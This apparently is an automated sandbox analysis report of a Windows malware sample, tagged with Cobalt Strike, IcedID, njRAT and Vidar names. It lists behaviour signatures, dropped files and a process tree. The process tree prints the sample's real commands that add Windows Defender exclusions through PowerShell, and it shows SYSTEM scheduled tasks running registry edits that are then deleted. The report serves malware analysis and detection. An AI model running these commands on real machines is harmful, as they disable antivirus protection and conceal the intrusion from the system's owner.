Analysis

  • max time kernel
    151s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/10/2026, 19:21

General

  • Target
    2026-10-27_ffcfc25409e6a8988c96159c8750ea8f_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
  • Size 34.6MB
  • Sample261027-x2wc6atz4j
  • SHA256 50bebf9f535b8bba3a82d566684713dd616c81ecb72f5f4e778a7b324276514a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-27_ffcfc25409e6a8988c96159c8750ea8f_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-27_ffcfc25409e6a8988c96159c8750ea8f_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3788
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:556
    • C:\Users\Public\cvZpAt\99ArE2.exe
      "C:\Users\Public\cvZpAt\99ArE2.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:5136
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cvZpAt\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4388
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cvZpAt\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2428
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4756
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:2596
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:6140
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4784
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:3436
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4164
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:2628
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1560
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:1792
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5552
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:1656
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:1648
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:3952
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4968
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:2400
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:3820
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:5880
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:3168
                        • C:\Users\Public\cvZpAt\99ArE2.exe
                          "C:\Users\Public\cvZpAt\99ArE2.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:6116
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cvZpAt" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3244
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cvZpAt" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1548
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:568

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 8bff161552033ad58e336a756fc5fcdef45deda9514515b6aa76eda37013d74c
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 82e5b6b08afb12c539f4bf1626be7008f35a41099b8f593b39818ce816d88d84
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 d58cabafd8e061cebed5ea9d1aa7377e947635230c28b37d489bc0a246e55435
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 c158cd68820236f36cf4d25b157edbd84747994009258c79e542d3517989c8d7
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_gdlol11y.kna.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gdlol11y.kna.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                99ArE2.exe

                                • Path C:\Users\Public\cvZpAt\99ArE2.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\cvZpAt\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 5999e9c69313782af817abbd0863d592c18aec54a7c6272bb77fd9c743403143
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\cvZpAt\adoresd.dat
                                • Size 4.8MB
                                • SHA256 f028120d1fe61dc1c1795329e2d950c3150454c60b206323d01134936e2e9ad2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\cvZpAt\msadox.tb
                                • Size 8KB
                                • SHA256 6e80cf0fa8272b3cce33f1cf578dce4ae9dd411b023e6592295a018b2f8e5d51
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/3788-0-0x0000000002000000-0x000000000200E000-memory.dmp

                                memory/3788-527-0x00007FFDD2630000-0x00007FFDD2642000-memory.dmp

                                memory/3788-526-0x0000000002000000-0x000000000200E000-memory.dmp

                                memory/3788-504-0x00007FFDD2630000-0x00007FFDD2642000-memory.dmp

                                memory/3788-2-0x0000000002050000-0x000000000205C000-memory.dmp

                                memory/3788-1-0x0000000002000000-0x000000000200E000-memory.dmp

                                memory/3964-561-0x000001DCCCF50000-0x000001DCCCFDA000-memory.dmp

                                memory/3964-533-0x00007FFDBE5D0000-0x00007FFDBEAEE000-memory.dmp

                                memory/3964-547-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-548-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-552-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-562-0x000001DCCCF50000-0x000001DCCCFDA000-memory.dmp

                                memory/3964-558-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-563-0x000001DCCCF50000-0x000001DCCCFDA000-memory.dmp

                                memory/3964-564-0x000001DCCCF50000-0x000001DCCCFDA000-memory.dmp

                                memory/3964-546-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-560-0x000001DCCCE70000-0x000001DCCCEBE000-memory.dmp

                                memory/3964-566-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-568-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-569-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-541-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-540-0x00007FFDE0FA0000-0x00007FFDE0FA2000-memory.dmp

                                memory/3964-538-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-545-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/3964-532-0x00007FFDE0F90000-0x00007FFDE0F92000-memory.dmp

                                memory/3964-602-0x000001DCCC0F0000-0x000001DCCC9C7000-memory.dmp

                                memory/5136-605-0x000002B46AF60000-0x000002B46AF82000-memory.dmp

                                memory/5136-610-0x000002B46AC00000-0x000002B46AC0A000-memory.dmp

                                memory/5136-609-0x000002B46AFB0000-0x000002B46B062000-memory.dmp

                                memory/5136-608-0x000002B46AF90000-0x000002B46AFAE000-memory.dmp

                                memory/6116-592-0x0000020DD7D70000-0x0000020DD8647000-memory.dmp

                                memory/6116-594-0x00007FFDE0F90000-0x00007FFDE0F92000-memory.dmp

                                memory/6116-586-0x0000020DD7D70000-0x0000020DD8647000-memory.dmp

                                memory/6116-583-0x0000020DD7D70000-0x0000020DD8647000-memory.dmp

                                memory/6116-593-0x0000020DD7D70000-0x0000020DD8647000-memory.dmp

                                memory/6116-580-0x00007FFDBE5D0000-0x00007FFDBEAEE000-memory.dmp

                                memory/6116-591-0x0000020DD7D70000-0x0000020DD8647000-memory.dmp

                                memory/6116-590-0x0000020DD7D70000-0x0000020DD8647000-memory.dmp

                                memory/6116-585-0x00007FFDE0FA0000-0x00007FFDE0FA2000-memory.dmp